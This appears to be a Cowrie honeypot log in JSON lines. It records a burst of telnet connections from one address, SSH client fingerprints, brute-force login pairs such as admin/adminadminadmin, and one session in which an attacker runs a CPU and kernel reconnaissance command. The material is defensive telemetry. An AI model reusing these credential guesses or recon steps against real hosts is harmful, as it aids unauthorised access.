{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3fbae698de9","protocol":"telnet","message":"New connection: 46.4.133.15:55190 (10.17.0.5:23) [session: f3fbae698de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:03.163810Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60058,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc4575068ed2","protocol":"telnet","message":"New connection: 46.4.133.15:60058 (10.17.0.5:23) [session: dc4575068ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:04.249951Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"c350733a647e","protocol":"telnet","message":"New connection: 46.4.133.15:52306 (10.17.0.5:23) [session: c350733a647e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:09.124752Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52486,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0d5d3017b1","protocol":"telnet","message":"New connection: 46.4.133.15:52486 (10.17.0.5:23) [session: ac0d5d3017b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:09.150394Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e03204e93e49","protocol":"telnet","message":"New connection: 46.4.133.15:55622 (10.17.0.5:23) [session: e03204e93e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:09.801864Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"713a355a6186","protocol":"ssh","message":"New connection: 159.203.92.129:34886 (159.203.135.109:22) [session: 713a355a6186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.501166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.505929Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.512597Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadminadmin","message":"login attempt [admin/adminadminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.523628Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.564777Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.567818Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.571926Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.582125Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:10.585886Z","src_ip":"159.203.92.129","session":"713a355a6186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40738,"dst_ip":"10.17.0.5","dst_port":23,"session":"a586a347d96e","protocol":"telnet","message":"New connection: 46.4.133.15:40738 (10.17.0.5:23) [session: a586a347d96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:13.156994Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40776,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ac3c96c1de","protocol":"telnet","message":"New connection: 46.4.133.15:40776 (10.17.0.5:23) [session: 18ac3c96c1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:13.161567Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48316,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d8a846671e","protocol":"telnet","message":"New connection: 46.4.133.15:48316 (10.17.0.5:23) [session: 24d8a846671e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:15.015619Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48784,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc8f92df9d3","protocol":"telnet","message":"New connection: 46.4.133.15:48784 (10.17.0.5:23) [session: bbc8f92df9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:15.135026Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53762,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fa48a4352a","protocol":"telnet","message":"New connection: 46.4.133.15:53762 (10.17.0.5:23) [session: 16fa48a4352a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:16.296610Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c667b693bb83","protocol":"telnet","message":"New connection: 46.4.133.15:57116 (10.17.0.5:23) [session: c667b693bb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:17.119647Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57420,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a70ae10e795","protocol":"telnet","message":"New connection: 46.4.133.15:57420 (10.17.0.5:23) [session: 1a70ae10e795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:17.170071Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":34408,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c04fcb4b4aa","protocol":"telnet","message":"New connection: 46.4.133.15:34408 (10.17.0.5:23) [session: 2c04fcb4b4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:18.399437Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac92267f672f","protocol":"telnet","message":"New connection: 46.4.133.15:48136 (10.17.0.5:23) [session: ac92267f672f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:22.117270Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48334,"dst_ip":"10.17.0.5","dst_port":23,"session":"991f78584456","protocol":"telnet","message":"New connection: 46.4.133.15:48334 (10.17.0.5:23) [session: 991f78584456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:22.150544Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48678,"dst_ip":"10.17.0.5","dst_port":23,"session":"899f0db145bf","protocol":"telnet","message":"New connection: 46.4.133.15:48678 (10.17.0.5:23) [session: 899f0db145bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:22.206925Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6babecfb6e5","protocol":"telnet","message":"New connection: 46.4.133.15:57128 (10.17.0.5:23) [session: c6babecfb6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:24.170887Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":57438,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a4992126814","protocol":"telnet","message":"New connection: 46.4.133.15:57438 (10.17.0.5:23) [session: 1a4992126814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:24.220921Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":58644,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3ac3580cb1","protocol":"telnet","message":"New connection: 46.4.133.15:58644 (10.17.0.5:23) [session: ef3ac3580cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:24.502132Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59768,"dst_ip":"10.17.0.5","dst_port":23,"session":"5044db6068b8","protocol":"telnet","message":"New connection: 46.4.133.15:59768 (10.17.0.5:23) [session: 5044db6068b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:24.869362Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37108,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ffb46266907","protocol":"telnet","message":"New connection: 46.4.133.15:37108 (10.17.0.5:23) [session: 6ffb46266907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:26.316120Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":34602,"dst_ip":"10.17.0.5","dst_port":22,"session":"9129607029b7","protocol":"ssh","message":"New connection: 74.91.200.154:34602 (10.17.0.5:22) [session: 9129607029b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:27.836473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:27.841553Z","src_ip":"74.91.200.154","session":"9129607029b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":42428,"dst_ip":"10.17.0.5","dst_port":23,"session":"f081a6f24bea","protocol":"telnet","message":"New connection: 46.4.133.15:42428 (10.17.0.5:23) [session: f081a6f24bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:27.879616Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:28.070213Z","src_ip":"74.91.200.154","session":"9129607029b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44680,"dst_ip":"10.17.0.5","dst_port":23,"session":"142e568737dd","protocol":"telnet","message":"New connection: 46.4.133.15:44680 (10.17.0.5:23) [session: 142e568737dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:28.416789Z"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"password","message":"login attempt [itadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:28.997062Z","src_ip":"74.91.200.154","session":"9129607029b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47388,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb32423a0122","protocol":"telnet","message":"New connection: 46.4.133.15:47388 (10.17.0.5:23) [session: eb32423a0122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:29.170043Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"b977031f72bb","protocol":"telnet","message":"New connection: 46.4.133.15:51330 (10.17.0.5:23) [session: b977031f72bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:30.139086Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51380,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa2ae076322d","protocol":"telnet","message":"New connection: 46.4.133.15:51380 (10.17.0.5:23) [session: fa2ae076322d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:30.147903Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:30.222739Z","src_ip":"74.91.200.154","session":"9129607029b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51964,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7c35de1618","protocol":"telnet","message":"New connection: 46.4.133.15:51964 (10.17.0.5:23) [session: 7f7c35de1618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:30.250041Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55494,"dst_ip":"10.17.0.5","dst_port":23,"session":"82dc6b868d0b","protocol":"telnet","message":"New connection: 46.4.133.15:55494 (10.17.0.5:23) [session: 82dc6b868d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:31.256788Z"}
{"eventid":"cowrie.session.closed","duration":30.899471282958984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:32.067746Z","src_ip":"46.4.133.15","session":"6f7c9c77727e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":58538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb8f4857d71","protocol":"telnet","message":"New connection: 46.4.133.15:58538 (10.17.0.5:23) [session: 1fb8f4857d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:32.180572Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":32816,"dst_ip":"10.17.0.5","dst_port":23,"session":"c18a2ced0e0c","protocol":"telnet","message":"New connection: 46.4.133.15:32816 (10.17.0.5:23) [session: c18a2ced0e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:32.840713Z"}
{"eventid":"cowrie.session.closed","duration":30.827032804489136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:32.949941Z","src_ip":"46.4.133.15","session":"ceb2f93f8ea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848544359207153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:32.975962Z","src_ip":"46.4.133.15","session":"48268c913b11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":34096,"dst_ip":"10.17.0.5","dst_port":23,"session":"59353d8e9c5b","protocol":"telnet","message":"New connection: 46.4.133.15:34096 (10.17.0.5:23) [session: 59353d8e9c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:33.220513Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ebb38762c0","protocol":"telnet","message":"New connection: 46.4.133.15:35108 (10.17.0.5:23) [session: 71ebb38762c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:33.449378Z"}
{"eventid":"cowrie.session.closed","duration":30.853688716888428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:34.017373Z","src_ip":"46.4.133.15","session":"f3fbae698de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37232,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa2561de3ec","protocol":"telnet","message":"New connection: 46.4.133.15:37232 (10.17.0.5:23) [session: 3aa2561de3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:34.162127Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38834,"dst_ip":"10.17.0.5","dst_port":23,"session":"7629f792d85b","protocol":"telnet","message":"New connection: 46.4.133.15:38834 (10.17.0.5:23) [session: 7629f792d85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:34.512040Z"}
{"eventid":"cowrie.session.closed","duration":30.738887310028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:34.988708Z","src_ip":"46.4.133.15","session":"dc4575068ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44358,"dst_ip":"10.17.0.5","dst_port":23,"session":"107b017d96e9","protocol":"telnet","message":"New connection: 46.4.133.15:44358 (10.17.0.5:23) [session: 107b017d96e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:36.156505Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":44384,"dst_ip":"10.17.0.5","dst_port":23,"session":"88786164f781","protocol":"telnet","message":"New connection: 46.4.133.15:44384 (10.17.0.5:23) [session: 88786164f781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:36.161384Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aff9ec96ef2","protocol":"telnet","message":"New connection: 46.4.133.15:47602 (10.17.0.5:23) [session: 3aff9ec96ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:37.117860Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12a25808f4c","protocol":"telnet","message":"New connection: 46.4.133.15:48212 (10.17.0.5:23) [session: d12a25808f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:37.231249Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51240,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe0487f9216","protocol":"telnet","message":"New connection: 46.4.133.15:51240 (10.17.0.5:23) [session: cfe0487f9216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:38.125648Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51572,"dst_ip":"10.17.0.5","dst_port":23,"session":"da49852f96e7","protocol":"telnet","message":"New connection: 46.4.133.15:51572 (10.17.0.5:23) [session: da49852f96e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:38.210481Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52130,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e3d737a82c","protocol":"telnet","message":"New connection: 46.4.133.15:52130 (10.17.0.5:23) [session: 52e3d737a82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:38.336396Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52430,"dst_ip":"10.17.0.5","dst_port":23,"session":"c27a75708807","protocol":"telnet","message":"New connection: 46.4.133.15:52430 (10.17.0.5:23) [session: c27a75708807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:38.406086Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"63aac204d9c7","protocol":"telnet","message":"New connection: 46.4.133.15:52684 (10.17.0.5:23) [session: 63aac204d9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:38.476229Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":54496,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a25b0249d8","protocol":"telnet","message":"New connection: 46.4.133.15:54496 (10.17.0.5:23) [session: 62a25b0249d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:39.136248Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":54668,"dst_ip":"10.17.0.5","dst_port":23,"session":"79885f0cebb4","protocol":"telnet","message":"New connection: 46.4.133.15:54668 (10.17.0.5:23) [session: 79885f0cebb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:39.181122Z"}
{"eventid":"cowrie.session.closed","duration":30.197020053863525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:32:39.998767Z","src_ip":"46.4.133.15","session":"e03204e93e49","protocol":"telnet"}
